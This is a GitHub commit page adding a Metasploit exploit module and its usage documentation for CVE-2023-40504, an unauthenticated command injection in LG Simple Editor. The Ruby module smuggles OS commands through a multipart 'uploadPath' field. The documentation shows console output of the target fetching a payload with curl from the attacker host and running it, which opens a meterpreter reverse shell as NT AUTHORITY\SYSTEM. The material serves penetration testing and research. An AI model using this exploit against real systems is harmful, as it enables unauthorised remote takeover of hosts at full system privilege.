Skip to content

Commit f211fcb

Browse files
dledda-r7dledda-r7
committed
Land rapid7#19370, LG Simple Editor Command Injection
2 parents 024af65 + 39d615e commit f211fcb

File tree

2 files changed

+181
-0
lines changed

2 files changed

+181
-0
lines changed

‎documentation/modules/exploit/windows/http/lg_simple_editor_rce_uploadvideo.md

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
This module exploits a command injection vulnerability in LG Simple Editor <= v3.21.0 (CVE-2023-40504).
4+
5+
An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
6+
`NT AUTHORITY\SYSTEM`.
7+
8+
## Testing
9+
10+
The software can be obtained from
11+
[the vendor](https://www.lg.com/us/business/display-solutions/supersign-w-lite/downloads/LGSimpleEditor_setup_v3_21_0.exe.zip).
12+
The vulnerable application runs on Apache Tomcat 7, which listens by default on TCP port 8080.
13+
14+
**Successfully tested on**
15+
16+
- LG Simple Editor v3.21.0 on Windows 10 22H2
17+
18+
## Verification Steps
19+
20+
1. Install the application
21+
2. Start `msfconsole` and run the following commands:
22+
23+
```
24+
msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > use exploit/windows/http/lg_simple_editor_rce_uploadvideo
25+
[*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp
26+
msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > set RHOSTS <IP>
27+
msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit
28+
```
29+
30+
You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`.
31+
32+
## Scenarios
33+
34+
Running the exploit against LG Simple Editor v3.21.0 on Windows 10 22H2, using curl as a fetch command, should result in an output similar
35+
to the following:
36+
37+
```
38+
msf6 exploit(windows/http/lg_simple_editor_rce_uploadvideo) > exploit
39+
40+
[*] Command to run on remote host: curl -so %TEMP%\ELizAMEog.exe http://192.168.137.190:8080/Ufbk8y1KXtCzmtyya8K7Jg & start /B
41+
%TEMP%\ELizAMEog.exe
42+
[*] Fetch handler listening on 192.168.137.190:8080
43+
[*] HTTP server started
44+
[*] Adding resource /Ufbk8y1KXtCzmtyya8K7Jg
45+
[*] Started reverse TCP handler on 192.168.137.190:4444
46+
[*] Running automatic check ("set AutoCheck false" to disable)
47+
[+] The target appears to be vulnerable. Version: 3.21.0
48+
[*] Sending command injection...
49+
[*] Using random filename: JyQig.mp4
50+
[*] Client 192.168.137.196 requested /Ufbk8y1KXtCzmtyya8K7Jg
51+
[*] Sending payload to 192.168.137.196 (curl/8.7.1)
52+
[*] Sending stage (201798 bytes) to 192.168.137.196
53+
[+] Command injection sent.
54+
[*] Exploit finished, check thy shell.
55+
[*] Meterpreter session 67 opened (192.168.137.190:4444 -> 192.168.137.196:50129) at 2024-08-06 23:16:30 -0400
56+
57+
meterpreter > sysinfo
58+
Computer : DESKTOP-1FD5QG3
59+
OS : Windows 10 (10.0 Build 19045).
60+
Architecture : x64
61+
System Language : en_US
62+
Domain : WORKGROUP
63+
Logged On Users : 2
64+
Meterpreter : x64/windows
65+
meterpreter > getuid
66+
Server username: NT AUTHORITY\SYSTEM
67+
```

‎modules/exploits/windows/http/lg_simple_editor_rce_uploadvideo.rb

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'LG Simple Editor Command Injection (CVE-2023-40504)',
11+
'Description' => %q{
12+
Unauthenticated Command Injection in LG Simple Editor <= v3.21.0.
13+
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' => [
17+
'rgod', # Vulnerability discovery
18+
'Michael Heinzl' # MSF module
19+
],
20+
'References' => [
21+
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1208/'],
22+
[ 'CVE', '2023-40504']
23+
],
24+
'DisclosureDate' => '2023-08-04',
25+
'Platform' => 'win',
26+
'Arch' => [ ARCH_CMD ],
27+
'Targets' => [
28+
[
29+
'Windows_Fetch',
30+
{
31+
'Arch' => [ ARCH_CMD ],
32+
'Platform' => 'win',
33+
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
34+
'Type' => :win_fetch,
35+
'Payload' => {
36+
'BadChars' => '\\'
37+
}
38+
}
39+
]
40+
],
41+
'DefaultTarget' => 0,
42+
43+
'Notes' => {
44+
'Stability' => [CRASH_SAFE],
45+
'Reliability' => [REPEATABLE_SESSION],
46+
'SideEffects' => [IOC_IN_LOGS]
47+
}
48+
)
49+
)
50+
51+
register_options(
52+
[
53+
Opt::RPORT(8080),
54+
OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/'])
55+
]
56+
)
57+
end
58+
59+
# Determine if the Simple Editor instance runs a vulnerable version
60+
# copied from lg_simple_editor_rce.rb
61+
def check
62+
res = send_request_cgi(
63+
{
64+
'method' => 'GET',
65+
'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do')
66+
}
67+
)
68+
69+
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
70+
71+
version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', ''))
72+
return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'
73+
return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0')
74+
75+
Exploit::CheckCode::Safe
76+
end
77+
78+
def exploit
79+
execute_command(payload.encoded)
80+
end
81+
82+
def execute_command(cmd)
83+
print_status('Sending command injection...')
84+
exec_simplerce(cmd)
85+
print_status('Exploit finished, check thy shell.')
86+
end
87+
88+
# Send command injection
89+
def exec_simplerce(cmd)
90+
filename = Rex::Text.rand_text_alpha(1..6)
91+
vprint_status("Using random filename: #{filename}.mp4")
92+
form = Rex::MIME::Message.new
93+
form.add_part('/', nil, nil, "form-data; name=\"uploadVideo\"; filename=\"#{filename}.mp4\"")
94+
form.add_part("/\"&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"')
95+
form.add_part('1', nil, nil, 'form-data; name="uploadFile_x"')
96+
form.add_part('1', nil, nil, 'form-data; name="uploadFile_width"')
97+
form.add_part('1', nil, nil, 'form-data; name="uploadFile_height"')
98+
99+
res = send_request_cgi(
100+
{
101+
'method' => 'POST',
102+
'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadVideo.do'),
103+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
104+
'data' => form.to_s
105+
}
106+
)
107+
if res && res.code == 200
108+
print_good 'Command injection sent.'
109+
else
110+
fail_with(Failure::UnexpectedReply, "#{peer}: Unexpected response received.")
111+
end
112+
end
113+
114+
end

0 commit comments

Comments
 (0)